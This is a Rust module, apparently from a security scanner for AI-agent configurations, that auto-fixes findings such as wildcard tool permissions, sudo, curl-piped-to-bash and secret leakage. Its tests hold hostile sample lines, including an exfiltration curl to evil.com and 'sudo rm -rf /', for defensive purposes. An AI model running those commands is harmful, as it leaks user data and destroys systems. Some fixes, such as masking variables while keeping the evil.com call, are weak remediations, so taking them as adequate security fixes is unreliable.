1use crate::error::{AuditError, Result};
2use crate::rules::Finding;
3use std::collections::HashMap;
4use std::fs;
5use std::path::Path;
6
7#[derive(Debug, Clone)]
9pub struct Fix {
10 pub finding_id: String,
11 pub file_path: String,
12 pub line: usize,
13 pub description: String,
14 pub original: String,
15 pub replacement: String,
16}
17
18#[derive(Debug)]
20pub struct FixResult {
21 pub applied: Vec<Fix>,
22 pub skipped: Vec<(Fix, String)>, pub errors: Vec<(Fix, String)>, }
25
26pub struct AutoFixer {
28 dry_run: bool,
29}
30
31impl AutoFixer {
32 pub fn new(dry_run: bool) -> Self {
33 Self { dry_run }
34 }
35
36 pub fn generate_fixes(&self, findings: &[Finding]) -> Vec<Fix> {
38 let mut fixes = Vec::new();
39
40 for finding in findings {
41 if let Some(fix) = self.generate_fix(finding) {
42 fixes.push(fix);
43 }
44 }
45
46 fixes
47 }
48
49 fn generate_fix(&self, finding: &Finding) -> Option<Fix> {
51 match finding.id.as_str() {
52 "OP-001" => self.fix_wildcard_permission(finding),
54
55 "PE-001" => self.fix_sudo_usage(finding),
57
58 "SC-001" => self.fix_curl_pipe_bash(finding),
60
61 "EX-001" => self.fix_env_exfiltration(finding),
63
64 "PI-001" => self.fix_backtick_injection(finding),
66
67 "DP-001" | "DP-002" | "DP-003" | "DP-004" | "DP-005" | "DP-006" => {
69 self.fix_hardcoded_secret(finding)
70 }
71
72 "OP-009" => self.fix_bash_wildcard(finding),
74
75 _ => None,
76 }
77 }
78
79 fn fix_wildcard_permission(&self, finding: &Finding) -> Option<Fix> {
80 if finding.code.contains("allowed-tools: *")
82 || finding.code.contains("allowed-tools: \"*\"")
83 {
84 let replacement = finding
85 .code
86 .replace("allowed-tools: *", "allowed-tools: Read, Grep, Glob")
87 .replace("allowed-tools: \"*\"", "allowed-tools: Read, Grep, Glob");
88
89 return Some(Fix {
90 finding_id: finding.id.clone(),
91 file_path: finding.location.file.clone(),
92 line: finding.location.line,
93 description: "Replace wildcard permission with safe defaults".to_string(),
94 original: finding.code.clone(),
95 replacement,
96 });
97 }
98
99 if finding.code.contains("\"allowedTools\"")
101 && (finding.code.contains("\"*\"") || finding.code.contains(": \"*\""))
102 {
103 let replacement = finding
104 .code
105 .replace("\"*\"", "\"Read, Grep, Glob\"")
106 .replace(": \"*\"", ": \"Read, Grep, Glob\"");
107
108 return Some(Fix {
109 finding_id: finding.id.clone(),
110 file_path: finding.location.file.clone(),
111 line: finding.location.line,
112 description: "Replace wildcard permission with safe defaults".to_string(),
113 original: finding.code.clone(),
114 replacement,
115 });
116 }
117
118 None
119 }
120
121 fn fix_sudo_usage(&self, finding: &Finding) -> Option<Fix> {
122 if finding.code.contains("sudo ") {
124 let replacement = finding.code.replace("sudo ", "");
125
126 return Some(Fix {
127 finding_id: finding.id.clone(),
128 file_path: finding.location.file.clone(),
129 line: finding.location.line,
130 description: "Remove sudo privilege escalation".to_string(),
131 original: finding.code.clone(),
132 replacement,
133 });
134 }
135
136 None
137 }
138
139 fn fix_curl_pipe_bash(&self, finding: &Finding) -> Option<Fix> {
140 if finding.code.contains("| bash") || finding.code.contains("| sh") {
142 let code = &finding.code;
144 let url_start = code.find("http");
145 if let Some(start) = url_start {
146 let url_end = code[start..]
147 .find(|c: char| c.is_whitespace() || c == '"' || c == '\'')
148 .map(|i| start + i)
149 .unwrap_or(code.len());
150 let url = &code[start..url_end];
151
152 let replacement = format!(
153 "# Download script first, verify before running\ncurl -o /tmp/install.sh {}\n# Review: cat /tmp/install.sh\n# Then run: sh /tmp/install.sh",
154 url
155 );
156
157 return Some(Fix {
158 finding_id: finding.id.clone(),
159 file_path: finding.location.file.clone(),
160 line: finding.location.line,
161 description: "Replace curl|bash with download-then-verify pattern".to_string(),
162 original: finding.code.clone(),
163 replacement,
164 });
165 }
166 }
167
168 None
169 }
170
171 fn fix_env_exfiltration(&self, finding: &Finding) -> Option<Fix> {
172 if finding.code.contains("$HOME")
174 || finding.code.contains("$USER")
175 || finding.code.contains("$PATH")
176 {
177 let replacement = finding
178 .code
179 .replace("$HOME", "[REDACTED]")
180 .replace("$USER", "[REDACTED]")
181 .replace("$PATH", "[REDACTED]");
182
183 return Some(Fix {
184 finding_id: finding.id.clone(),
185 file_path: finding.location.file.clone(),
186 line: finding.location.line,
187 description: "Mask sensitive environment variables".to_string(),
188 original: finding.code.clone(),
189 replacement,
190 });
191 }
192
193 None
194 }
195
196 fn fix_backtick_injection(&self, finding: &Finding) -> Option<Fix> {
197 if finding.code.contains('`') {
199 let backtick_count = finding.code.matches('`').count();
201 if backtick_count >= 2 && backtick_count.is_multiple_of(2) {
202 let mut in_backtick = false;
203 let mut result = String::new();
204
205 for c in finding.code.chars() {
206 if c == '`' {
207 if in_backtick {
208 result.push(')');
209 } else {
210 result.push_str("$(");
211 }
212 in_backtick = !in_backtick;
213 } else {
214 result.push(c);
215 }
216 }
217
218 return Some(Fix {
219 finding_id: finding.id.clone(),
220 file_path: finding.location.file.clone(),
221 line: finding.location.line,
222 description: "Replace backticks with safer $() syntax".to_string(),
223 original: finding.code.clone(),
224 replacement: result,
225 });
226 }
227 }
228
229 None
230 }
231
232 fn fix_hardcoded_secret(&self, finding: &Finding) -> Option<Fix> {
233 let code = &finding.code;
238
239 if code.contains("api_key") || code.contains("apiKey") || code.contains("API_KEY") {
241 return Some(Fix {
243 finding_id: finding.id.clone(),
244 file_path: finding.location.file.clone(),
245 line: finding.location.line,
246 description: "Replace hardcoded secret with environment variable".to_string(),
247 original: finding.code.clone(),
248 replacement: format!(
249 "# TODO: Move secret to environment variable\n# {}",
250 finding.code
251 ),
252 });
253 }
254
255 None
256 }
257
258 fn fix_bash_wildcard(&self, finding: &Finding) -> Option<Fix> {
259 if finding.code.contains("Bash(*)") || finding.code.contains("Bash( * )") {
261 let replacement = finding
262 .code
263 .replace("Bash(*)", "Bash(ls:*, cat:*, echo:*)")
264 .replace("Bash( * )", "Bash(ls:*, cat:*, echo:*)");
265
266 return Some(Fix {
267 finding_id: finding.id.clone(),
268 file_path: finding.location.file.clone(),
269 line: finding.location.line,
270 description: "Replace Bash wildcard with specific allowed commands".to_string(),
271 original: finding.code.clone(),
272 replacement,
273 });
274 }
275
276 None
277 }
278
279 pub fn apply_fixes(&self, fixes: &[Fix]) -> FixResult {
281 let mut result = FixResult {
282 applied: Vec::new(),
283 skipped: Vec::new(),
284 errors: Vec::new(),
285 };
286
287 let mut fixes_by_file: HashMap<String, Vec<&Fix>> = HashMap::new();
289 for fix in fixes {
290 fixes_by_file
291 .entry(fix.file_path.clone())
292 .or_default()
293 .push(fix);
294 }
295
296 for (file_path, file_fixes) in fixes_by_file {
297 match self.apply_fixes_to_file(&file_path, &file_fixes) {
298 Ok(applied) => {
299 for fix in applied {
300 result.applied.push(fix.clone());
301 }
302 }
303 Err(e) => {
304 for fix in file_fixes {
305 result.errors.push((fix.clone(), e.to_string()));
306 }
307 }
308 }
309 }
310
311 result
312 }
313
314 fn apply_fixes_to_file(&self, file_path: &str, fixes: &[&Fix]) -> Result<Vec<Fix>> {
315 let path = Path::new(file_path);
316
317 let content = fs::read_to_string(path).map_err(|e| AuditError::ReadError {
319 path: file_path.to_string(),
320 source: e,
321 })?;
322
323 let lines: Vec<&str> = content.lines().collect();
324 let mut new_lines: Vec<String> = lines.iter().map(|s| s.to_string()).collect();
325 let mut applied = Vec::new();
326
327 let mut sorted_fixes: Vec<&&Fix> = fixes.iter().collect();
329 sorted_fixes.sort_by(|a, b| b.line.cmp(&a.line));
330
331 for fix in sorted_fixes {
332 if fix.line > 0 && fix.line <= new_lines.len() {
333 let line_idx = fix.line - 1;
334 let current_line = &new_lines[line_idx];
335
336 if current_line.contains(&fix.original)
338 || current_line.trim() == fix.original.trim()
339 {
340 if !self.dry_run {
341 new_lines[line_idx] = current_line.replace(&fix.original, &fix.replacement);
343 }
344 applied.push((*fix).clone());
345 }
346 }
347 }
348
349 if !self.dry_run && !applied.is_empty() {
351 let new_content = new_lines.join("\n");
352 fs::write(path, new_content).map_err(|e| AuditError::ReadError {
353 path: file_path.to_string(),
354 source: e,
355 })?;
356 }
357
358 Ok(applied)
359 }
360}
361
362impl Fix {
363 pub fn format_terminal(&self, dry_run: bool) -> String {
365 use colored::Colorize;
366
367 let mut output = String::new();
368
369 let prefix = if dry_run { "[DRY RUN] " } else { "" };
370
371 output.push_str(&format!(
372 "{}{} {} at {}:{}\n",
373 prefix.yellow(),
374 "Fix:".cyan().bold(),
375 self.description,
376 self.file_path,
377 self.line
378 ));
379
380 output.push_str(&format!(" {} {}\n", "-".red(), self.original.trim()));
381 output.push_str(&format!(" {} {}\n", "+".green(), self.replacement.trim()));
382
383 output
384 }
385}
386
387impl FixResult {
388 pub fn format_terminal(&self, dry_run: bool) -> String {
390 use colored::Colorize;
391
392 let mut output = String::new();
393
394 if self.applied.is_empty() && self.skipped.is_empty() && self.errors.is_empty() {
395 output.push_str(&"No fixable issues found.\n".yellow().to_string());
396 return output;
397 }
398
399 let prefix = if dry_run { "[DRY RUN] " } else { "" };
400
401 if !self.applied.is_empty() {
402 output.push_str(&format!(
403 "\n{}{}\n",
404 prefix.yellow(),
405 if dry_run {
406 "Would apply fixes:".cyan().bold()
407 } else {
408 "Applied fixes:".green().bold()
409 }
410 ));
411
412 for fix in &self.applied {
413 output.push_str(&fix.format_terminal(dry_run));
414 output.push('\n');
415 }
416 }
417
418 if !self.skipped.is_empty() {
419 output.push_str(&format!("\n{}\n", "Skipped:".yellow().bold()));
420 for (fix, reason) in &self.skipped {
421 output.push_str(&format!(
422 " {} {} - {}\n",
423 "~".yellow(),
424 fix.description,
425 reason
426 ));
427 }
428 }
429
430 if !self.errors.is_empty() {
431 output.push_str(&format!("\n{}\n", "Errors:".red().bold()));
432 for (fix, error) in &self.errors {
433 output.push_str(&format!(
434 " {} {} - {}\n",
435 "!".red(),
436 fix.description,
437 error
438 ));
439 }
440 }
441
442 output.push_str(&format!(
443 "\n{}: {} applied, {} skipped, {} errors\n",
444 if dry_run { "Summary" } else { "Result" },
445 self.applied.len(),
446 self.skipped.len(),
447 self.errors.len()
448 ));
449
450 output
451 }
452}
453
454#[cfg(test)]
455mod tests {
456 use super::*;
457 use crate::rules::{Category, Confidence, Location, Severity};
458 use tempfile::TempDir;
459
460 fn create_test_finding(id: &str, code: &str, file: &str, line: usize) -> Finding {
461 Finding {
462 id: id.to_string(),
463 severity: Severity::High,
464 category: Category::Overpermission,
465 confidence: Confidence::Firm,
466 name: "Test Finding".to_string(),
467 location: Location {
468 file: file.to_string(),
469 line,
470 column: None,
471 },
472 code: code.to_string(),
473 message: "Test message".to_string(),
474 recommendation: "Test recommendation".to_string(),
475 fix_hint: None,
476 cwe_ids: vec![],
477 rule_severity: None,
478 client: None,
479 }
480 }
481
482 #[test]
483 fn test_fix_wildcard_permission() {
484 let fixer = AutoFixer::new(true);
485 let finding = create_test_finding("OP-001", "allowed-tools: *", "SKILL.md", 5);
486
487 let fix = fixer.generate_fix(&finding);
488 assert!(fix.is_some());
489
490 let fix = fix.unwrap();
491 assert!(fix.replacement.contains("Read, Grep, Glob"));
492 }
493
494 #[test]
495 fn test_fix_sudo_usage() {
496 let fixer = AutoFixer::new(true);
497 let finding = create_test_finding("PE-001", "sudo apt install", "script.sh", 10);
498
499 let fix = fixer.generate_fix(&finding);
500 assert!(fix.is_some());
501
502 let fix = fix.unwrap();
503 assert!(!fix.replacement.contains("sudo"));
504 assert!(fix.replacement.contains("apt install"));
505 }
506
507 #[test]
508 fn test_fix_bash_wildcard() {
509 let fixer = AutoFixer::new(true);
510 let finding = create_test_finding("OP-009", "Bash(*)", "settings.json", 15);
511
512 let fix = fixer.generate_fix(&finding);
513 assert!(fix.is_some());
514
515 let fix = fix.unwrap();
516 assert!(fix.replacement.contains("ls:*"));
517 }
518
519 #[test]
520 fn test_apply_fixes_dry_run() {
521 let temp_dir = TempDir::new().unwrap();
522 let test_file = temp_dir.path().join("test.md");
523 fs::write(&test_file, "---\nallowed-tools: *\n---\n").unwrap();
524
525 let fixer = AutoFixer::new(true); let finding = create_test_finding(
527 "OP-001",
528 "allowed-tools: *",
529 &test_file.display().to_string(),
530 2,
531 );
532
533 let fixes = fixer.generate_fixes(&[finding]);
534 let result = fixer.apply_fixes(&fixes);
535
536 assert_eq!(result.applied.len(), 1);
537
538 let content = fs::read_to_string(&test_file).unwrap();
540 assert!(content.contains("allowed-tools: *"));
541 }
542
543 #[test]
544 fn test_apply_fixes_real() {
545 let temp_dir = TempDir::new().unwrap();
546 let test_file = temp_dir.path().join("test.md");
547 fs::write(&test_file, "---\nallowed-tools: *\n---\n").unwrap();
548
549 let fixer = AutoFixer::new(false); let finding = create_test_finding(
551 "OP-001",
552 "allowed-tools: *",
553 &test_file.display().to_string(),
554 2,
555 );
556
557 let fixes = fixer.generate_fixes(&[finding]);
558 let result = fixer.apply_fixes(&fixes);
559
560 assert_eq!(result.applied.len(), 1);
561
562 let content = fs::read_to_string(&test_file).unwrap();
564 assert!(content.contains("Read, Grep, Glob"));
565 assert!(!content.contains("allowed-tools: *"));
566 }
567
568 #[test]
569 fn test_no_fix_available() {
570 let fixer = AutoFixer::new(true);
571 let finding = create_test_finding("UNKNOWN-001", "some code", "file.md", 1);
572
573 let fix = fixer.generate_fix(&finding);
574 assert!(fix.is_none());
575 }
576
577 #[test]
578 fn test_fix_format_terminal() {
579 let fix = Fix {
580 finding_id: "OP-001".to_string(),
581 file_path: "SKILL.md".to_string(),
582 line: 5,
583 description: "Test fix".to_string(),
584 original: "old code".to_string(),
585 replacement: "new code".to_string(),
586 };
587
588 let output = fix.format_terminal(false);
589 assert!(output.contains("Fix:"));
590 assert!(output.contains("Test fix"));
591 assert!(output.contains("old code"));
592 assert!(output.contains("new code"));
593 }
594
595 #[test]
596 fn test_fix_result_format_terminal() {
597 let fix = Fix {
598 finding_id: "OP-001".to_string(),
599 file_path: "SKILL.md".to_string(),
600 line: 5,
601 description: "Test fix".to_string(),
602 original: "old code".to_string(),
603 replacement: "new code".to_string(),
604 };
605
606 let result = FixResult {
607 applied: vec![fix],
608 skipped: vec![],
609 errors: vec![],
610 };
611
612 let output = result.format_terminal(true);
613 assert!(output.contains("DRY RUN"));
614 assert!(output.contains("1 applied"));
615 }
616
617 #[test]
618 fn test_fix_curl_pipe_bash() {
619 let fixer = AutoFixer::new(true);
620 let finding = create_test_finding(
621 "SC-001",
622 "curl http://example.com/install.sh | bash",
623 "run.sh",
624 1,
625 );
626
627 let fix = fixer.generate_fix(&finding);
628 assert!(fix.is_some());
629
630 let fix = fix.unwrap();
631 assert!(fix.replacement.contains("Download script first"));
632 assert!(fix.replacement.contains("/tmp/install.sh"));
633 }
634
635 #[test]
636 fn test_fix_curl_pipe_sh() {
637 let fixer = AutoFixer::new(true);
638 let finding =
639 create_test_finding("SC-001", "curl https://get.sdkman.io | sh", "install.sh", 1);
640
641 let fix = fixer.generate_fix(&finding);
642 assert!(fix.is_some());
643
644 let fix = fix.unwrap();
645 assert!(fix.replacement.contains("Download script first"));
646 }
647
648 #[test]
649 fn test_fix_env_exfiltration() {
650 let fixer = AutoFixer::new(true);
651 let finding = create_test_finding(
652 "EX-001",
653 "curl http://evil.com?user=$USER&home=$HOME",
654 "exfil.sh",
655 1,
656 );
657
658 let fix = fixer.generate_fix(&finding);
659 assert!(fix.is_some());
660
661 let fix = fix.unwrap();
662 assert!(fix.replacement.contains("[REDACTED]"));
663 assert!(!fix.replacement.contains("$USER"));
664 assert!(!fix.replacement.contains("$HOME"));
665 }
666
667 #[test]
668 fn test_fix_env_exfiltration_path() {
669 let fixer = AutoFixer::new(true);
670 let finding = create_test_finding("EX-001", "echo $PATH", "leak.sh", 1);
671
672 let fix = fixer.generate_fix(&finding);
673 assert!(fix.is_some());
674
675 let fix = fix.unwrap();
676 assert!(fix.replacement.contains("[REDACTED]"));
677 }
678
679 #[test]
680 fn test_fix_backtick_injection() {
681 let fixer = AutoFixer::new(true);
682 let finding = create_test_finding("PI-001", "result=`cmd arg`", "script.sh", 1);
683
684 let fix = fixer.generate_fix(&finding);
685 assert!(fix.is_some());
686
687 let fix = fix.unwrap();
688 assert!(fix.replacement.contains("$(cmd arg)"));
689 assert!(!fix.replacement.contains('`'));
690 }
691
692 #[test]
693 fn test_fix_backtick_injection_multiple() {
694 let fixer = AutoFixer::new(true);
695 let finding = create_test_finding("PI-001", "echo `foo` and `bar`", "script.sh", 1);
696
697 let fix = fixer.generate_fix(&finding);
698 assert!(fix.is_some());
699
700 let fix = fix.unwrap();
701 assert!(fix.replacement.contains("$(foo)"));
702 assert!(fix.replacement.contains("$(bar)"));
703 }
704
705 #[test]
706 fn test_fix_backtick_injection_odd_count() {
707 let fixer = AutoFixer::new(true);
708 let finding = create_test_finding("PI-001", "echo ` only one backtick", "script.sh", 1);
709
710 let fix = fixer.generate_fix(&finding);
711 assert!(fix.is_none());
712 }
713
714 #[test]
715 fn test_fix_hardcoded_secret() {
716 let fixer = AutoFixer::new(true);
717 let finding = create_test_finding("DP-001", "api_key = \"sk-1234567890\"", "config.py", 1);
718
719 let fix = fixer.generate_fix(&finding);
720 assert!(fix.is_some());
721
722 let fix = fix.unwrap();
723 assert!(fix.replacement.contains("TODO"));
724 assert!(fix.replacement.contains("environment variable"));
725 }
726
727 #[test]
728 fn test_fix_hardcoded_secret_api_key_variant() {
729 let fixer = AutoFixer::new(true);
730 let finding = create_test_finding("DP-002", "apiKey: 'secret123'", "config.yaml", 1);
731
732 let fix = fixer.generate_fix(&finding);
733 assert!(fix.is_some());
734 }
735
736 #[test]
737 fn test_fix_hardcoded_secret_api_key_upper() {
738 let fixer = AutoFixer::new(true);
739 let finding = create_test_finding("DP-003", "const API_KEY = 'test'", "constants.js", 1);
740
741 let fix = fixer.generate_fix(&finding);
742 assert!(fix.is_some());
743 }
744
745 #[test]
746 fn test_fix_wildcard_permission_json() {
747 let fixer = AutoFixer::new(true);
748 let finding = create_test_finding("OP-001", "\"allowedTools\": \"*\"", "settings.json", 5);
749
750 let fix = fixer.generate_fix(&finding);
751 assert!(fix.is_some());
752
753 let fix = fix.unwrap();
754 assert!(fix.replacement.contains("Read, Grep, Glob"));
755 }
756
757 #[test]
758 fn test_fix_wildcard_permission_quoted() {
759 let fixer = AutoFixer::new(true);
760 let finding = create_test_finding("OP-001", "allowed-tools: \"*\"", "SKILL.md", 5);
761
762 let fix = fixer.generate_fix(&finding);
763 assert!(fix.is_some());
764
765 let fix = fix.unwrap();
766 assert!(fix.replacement.contains("Read, Grep, Glob"));
767 }
768
769 #[test]
770 fn test_fix_bash_wildcard_with_spaces() {
771 let fixer = AutoFixer::new(true);
772 let finding = create_test_finding("OP-009", "Bash( * )", "settings.json", 15);
773
774 let fix = fixer.generate_fix(&finding);
775 assert!(fix.is_some());
776
777 let fix = fix.unwrap();
778 assert!(fix.replacement.contains("ls:*"));
779 }
780
781 #[test]
782 fn test_generate_fixes_multiple() {
783 let fixer = AutoFixer::new(true);
784 let findings = vec![
785 create_test_finding("OP-001", "allowed-tools: *", "SKILL.md", 5),
786 create_test_finding("PE-001", "sudo rm -rf /", "script.sh", 10),
787 create_test_finding("OP-009", "Bash(*)", "settings.json", 15),
788 ];
789
790 let fixes = fixer.generate_fixes(&findings);
791 assert_eq!(fixes.len(), 3);
792 }
793
794 #[test]
795 fn test_fix_result_format_terminal_no_fixes() {
796 let result = FixResult {
797 applied: vec![],
798 skipped: vec![],
799 errors: vec![],
800 };
801
802 let output = result.format_terminal(false);
803 assert!(output.contains("No fixable issues found"));
804 }
805
806 #[test]
807 fn test_fix_result_format_terminal_with_skipped() {
808 let fix = Fix {
809 finding_id: "OP-001".to_string(),
810 file_path: "SKILL.md".to_string(),
811 line: 5,
812 description: "Test fix".to_string(),
813 original: "old code".to_string(),
814 replacement: "new code".to_string(),
815 };
816
817 let result = FixResult {
818 applied: vec![],
819 skipped: vec![(fix, "Code changed".to_string())],
820 errors: vec![],
821 };
822
823 let output = result.format_terminal(false);
824 assert!(output.contains("Skipped:"));
825 assert!(output.contains("Code changed"));
826 }
827
828 #[test]
829 fn test_fix_result_format_terminal_with_errors() {
830 let fix = Fix {
831 finding_id: "OP-001".to_string(),
832 file_path: "SKILL.md".to_string(),
833 line: 5,
834 description: "Test fix".to_string(),
835 original: "old code".to_string(),
836 replacement: "new code".to_string(),
837 };
838
839 let result = FixResult {
840 applied: vec![],
841 skipped: vec![],
842 errors: vec![(fix, "File not found".to_string())],
843 };
844
845 let output = result.format_terminal(false);
846 assert!(output.contains("Errors:"));
847 assert!(output.contains("File not found"));
848 }
849
850 #[test]
851 fn test_fix_format_terminal_dry_run() {
852 let fix = Fix {
853 finding_id: "OP-001".to_string(),
854 file_path: "SKILL.md".to_string(),
855 line: 5,
856 description: "Test fix".to_string(),
857 original: "old code".to_string(),
858 replacement: "new code".to_string(),
859 };
860
861 let output = fix.format_terminal(true);
862 assert!(output.contains("DRY RUN"));
863 }
864
865 #[test]
866 fn test_fix_result_format_terminal_applied_not_dry_run() {
867 let fix = Fix {
868 finding_id: "OP-001".to_string(),
869 file_path: "SKILL.md".to_string(),
870 line: 5,
871 description: "Test fix".to_string(),
872 original: "old code".to_string(),
873 replacement: "new code".to_string(),
874 };
875
876 let result = FixResult {
877 applied: vec![fix],
878 skipped: vec![],
879 errors: vec![],
880 };
881
882 let output = result.format_terminal(false);
883 assert!(output.contains("Applied fixes:"));
884 assert!(!output.contains("DRY RUN"));
885 }
886
887 #[test]
888 fn test_apply_fixes_to_nonexistent_file() {
889 let fixer = AutoFixer::new(false);
890 let finding =
891 create_test_finding("OP-001", "allowed-tools: *", "/nonexistent/path/file.md", 2);
892
893 let fixes = fixer.generate_fixes(&[finding]);
894 let result = fixer.apply_fixes(&fixes);
895
896 assert!(result.applied.is_empty());
897 assert!(!result.errors.is_empty());
898 }
899
900 #[test]
901 fn test_apply_fixes_line_mismatch() {
902 let temp_dir = TempDir::new().unwrap();
903 let test_file = temp_dir.path().join("test.md");
904 fs::write(&test_file, "---\nsomething-else: value\n---\n").unwrap();
905
906 let fixer = AutoFixer::new(false);
907 let finding = create_test_finding(
908 "OP-001",
909 "allowed-tools: *",
910 &test_file.display().to_string(),
911 2,
912 );
913
914 let fixes = fixer.generate_fixes(&[finding]);
915 let result = fixer.apply_fixes(&fixes);
916
917 assert!(result.applied.is_empty());
918 }
919
920 #[test]
921 fn test_fix_debug_trait() {
922 let fix = Fix {
923 finding_id: "OP-001".to_string(),
924 file_path: "SKILL.md".to_string(),
925 line: 5,
926 description: "Test fix".to_string(),
927 original: "old".to_string(),
928 replacement: "new".to_string(),
929 };
930
931 let debug_str = format!("{:?}", fix);
932 assert!(debug_str.contains("Fix"));
933 assert!(debug_str.contains("OP-001"));
934 }
935
936 #[test]
937 fn test_fix_clone_trait() {
938 let fix = Fix {
939 finding_id: "OP-001".to_string(),
940 file_path: "SKILL.md".to_string(),
941 line: 5,
942 description: "Test fix".to_string(),
943 original: "old".to_string(),
944 replacement: "new".to_string(),
945 };
946
947 let cloned = fix.clone();
948 assert_eq!(fix.finding_id, cloned.finding_id);
949 assert_eq!(fix.file_path, cloned.file_path);
950 }
951
952 #[test]
953 fn test_fix_result_debug_trait() {
954 let result = FixResult {
955 applied: vec![],
956 skipped: vec![],
957 errors: vec![],
958 };
959
960 let debug_str = format!("{:?}", result);
961 assert!(debug_str.contains("FixResult"));
962 }
963
964 #[test]
965 fn test_fix_no_match_env_exfiltration() {
966 let fixer = AutoFixer::new(true);
967 let finding = create_test_finding("EX-001", "echo hello world", "script.sh", 1);
968
969 let fix = fixer.generate_fix(&finding);
970 assert!(fix.is_none());
971 }
972
973 #[test]
974 fn test_fix_no_match_sudo() {
975 let fixer = AutoFixer::new(true);
976 let finding = create_test_finding("PE-001", "apt install vim", "script.sh", 1);
977
978 let fix = fixer.generate_fix(&finding);
979 assert!(fix.is_none());
980 }
981
982 #[test]
983 fn test_fix_no_match_curl_pipe() {
984 let fixer = AutoFixer::new(true);
985 let finding = create_test_finding("SC-001", "curl http://example.com", "script.sh", 1);
986
987 let fix = fixer.generate_fix(&finding);
988 assert!(fix.is_none());
989 }
990
991 #[test]
992 fn test_fix_no_match_wildcard() {
993 let fixer = AutoFixer::new(true);
994 let finding = create_test_finding("OP-001", "allowed-tools: Read, Write", "SKILL.md", 1);
995
996 let fix = fixer.generate_fix(&finding);
997 assert!(fix.is_none());
998 }
999
1000 #[test]
1001 fn test_fix_no_match_bash_wildcard() {
1002 let fixer = AutoFixer::new(true);
1003 let finding = create_test_finding("OP-009", "Bash(ls:*, cat:*)", "settings.json", 1);
1004
1005 let fix = fixer.generate_fix(&finding);
1006 assert!(fix.is_none());
1007 }
1008
1009 #[test]
1010 fn test_fix_no_match_hardcoded_secret() {
1011 let fixer = AutoFixer::new(true);
1012 let finding = create_test_finding("DP-001", "password = 'secret'", "config.py", 1);
1013
1014 let fix = fixer.generate_fix(&finding);
1015 assert!(fix.is_none());
1016 }
1017
1018 #[test]
1019 fn test_apply_fixes_out_of_bounds_line() {
1020 let temp_dir = TempDir::new().unwrap();
1021 let test_file = temp_dir.path().join("test.md");
1022 fs::write(&test_file, "line1\nline2\n").unwrap();
1023
1024 let fixer = AutoFixer::new(false);
1025
1026 let fix = Fix {
1027 finding_id: "OP-001".to_string(),
1028 file_path: test_file.display().to_string(),
1029 line: 100,
1030 description: "Test fix".to_string(),
1031 original: "something".to_string(),
1032 replacement: "other".to_string(),
1033 };
1034
1035 let result = fixer.apply_fixes(&[fix]);
1036 assert!(result.applied.is_empty());
1037 }
1038
1039 #[test]
1040 fn test_apply_fixes_line_zero() {
1041 let temp_dir = TempDir::new().unwrap();
1042 let test_file = temp_dir.path().join("test.md");
1043 fs::write(&test_file, "line1\nline2\n").unwrap();
1044
1045 let fixer = AutoFixer::new(false);
1046
1047 let fix = Fix {
1048 finding_id: "OP-001".to_string(),
1049 file_path: test_file.display().to_string(),
1050 line: 0,
1051 description: "Test fix".to_string(),
1052 original: "something".to_string(),
1053 replacement: "other".to_string(),
1054 };
1055
1056 let result = fixer.apply_fixes(&[fix]);
1057 assert!(result.applied.is_empty());
1058 }
1059
1060 #[test]
1061 fn test_fix_dp_004_hardcoded_secret() {
1062 let fixer = AutoFixer::new(true);
1063 let finding = create_test_finding("DP-004", "api_key = 'test'", "config.py", 1);
1064
1065 let fix = fixer.generate_fix(&finding);
1066 assert!(fix.is_some());
1067 }
1068
1069 #[test]
1070 fn test_fix_dp_005_hardcoded_secret() {
1071 let fixer = AutoFixer::new(true);
1072 let finding = create_test_finding("DP-005", "apiKey = 'test'", "config.js", 1);
1073
1074 let fix = fixer.generate_fix(&finding);
1075 assert!(fix.is_some());
1076 }
1077
1078 #[test]
1079 fn test_fix_dp_006_hardcoded_secret() {
1080 let fixer = AutoFixer::new(true);
1081 let finding = create_test_finding("DP-006", "API_KEY = 'test'", "config.rb", 1);
1082
1083 let fix = fixer.generate_fix(&finding);
1084 assert!(fix.is_some());
1085 }
1086
1087 #[test]
1088 fn test_fix_wildcard_allowed_tools() {
1089 let fixer = AutoFixer::new(true);
1090 let code = r#"{"allowedTools": "*"}"#;
1091 let finding = create_test_finding("OP-001", code, "mcp.json", 1);
1092
1093 let fix = fixer.generate_fix(&finding);
1094 assert!(fix.is_some());
1095 let fix = fix.unwrap();
1096 assert!(fix.replacement.contains("Read, Grep, Glob"));
1097 }
1098
1099 #[test]
1100 fn test_fix_wildcard_allowed_tools_colon_format() {
1101 let fixer = AutoFixer::new(true);
1102 let code = r#"{"allowedTools": "*"}"#;
1103 let finding = create_test_finding("OP-001", code, "settings.json", 1);
1104
1105 let fix = fixer.generate_fix(&finding);
1106 assert!(fix.is_some());
1107 }
1108
1109 #[test]
1110 fn test_fix_curl_pipe_bash_with_download() {
1111 let fixer = AutoFixer::new(true);
1112 let code = "curl -sL https://example.com/script.sh | bash";
1113 let finding = create_test_finding("PE-001", code, "install.sh", 1);
1114
1115 let fix = fixer.generate_fix(&finding);
1116 let _ = fix;
1119 }
1120}